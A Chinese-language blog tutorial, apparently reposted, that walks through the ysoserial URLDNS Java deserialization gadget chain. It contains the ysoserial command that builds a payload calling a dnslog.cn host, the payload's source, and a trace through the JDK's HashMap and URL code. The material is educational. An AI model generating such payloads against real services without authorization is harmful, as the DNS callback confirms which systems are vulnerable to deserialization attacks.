前言
參考phith0n的Java安全漫談
Java的反序列化和PHP的反序列化其實有點類似,他們都只能將一個物件中的屬性按照某種特定的格式生成一段資料流,在反序列化的時候再按照這個格式將屬性拿回來,再賦值給新的物件,
但Java相對PHP序列化更深入的地方在于,其提供了更加高級、靈活地方法 writeObject ,允許開發者在序列化流中插入一些自定義資料,進而在反序列化的時候能夠使用 readObject 進行讀取,
當然,PHP中也提供了一個魔術方法叫 __wakeup ,在反序列化的時候進行觸發,很多人會認為Java的readObject 和PHP的 __wakeup 類似,但其實不全對,雖然都是在反序列化的時候觸發,但他們解決的問題稍微有些差異,
Java設計 readObject 的思路和PHP的 __wakeup 不同點在于: readObject 傾向于解決“反序列化時如何還原一個完整物件”這個問題,而PHP的 __wakeup 更傾向于解決“反序列化后如何初始化這個物件”的問題,
其實,PHP的反序列化漏洞,很少是由 __wakeup 這個方法觸發的,通常觸發在解構式__destruct 里,其實大部分PHP反序列化漏洞,都并不是由反序列化導致的,只是通過反序列化可以控制物件的屬性,進而在后續的代碼中進行危險操作,
URLDNS
先從最簡單的URLDNS利用鏈開始,工具見github,命令如下:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://zeha2q.dnslog.cn" >urldns.bin
驗證代碼
package yso;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class URLDNS {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin"));
ois.readObject();
}
}
結果

可以先看看ysoserial的URLDNS
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
注釋很詳細,總體就是構造了一個惡意的被序列化的物件HashMap,其中,ysoserial為了防?在?成Payload的時候也執?了URL請求和DNS查詢,重寫了?個 SilentURLStreamHandler 類,這不是必須的,
為何選擇HashMap,大多數反序列化漏洞觸發都是由于呼叫了readobject,我們先來看看HashMap的readobject有什么:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
問題出現在putVal(hash(key), key, value, false, false);中的hash()函式,繼續跟進
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
其中key為java.net.URL 的物件,跟進該物件的hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
上面函式判斷說明了利用鏈中為何將hashCode設定為-1,繼續跟進handler.hashCode(this)
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
接著就是呼叫getHostAddress(u),跟進:
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
其中getByName(host) 的作?是根據域名獲取IP地址,也就是進行dns查詢,
總結它的利用鏈如下:
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
總體上來講,該利用鏈先需要初始化?個 java.net.URL 物件,作為 java.util.HashMap的key值,value值可以隨意;接著,設定這 java.net.URL 物件的 hashCode 的初始值為 -1 ,以便反序列化時重新計算其 hashCode ,觸發后?的DNS請求,
參考:
phith0n的Java安全漫談
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297761.html
標籤:其他
上一篇:漏洞利用三:445埠漏洞利用
下一篇:vulnhub DC9 靶場練習
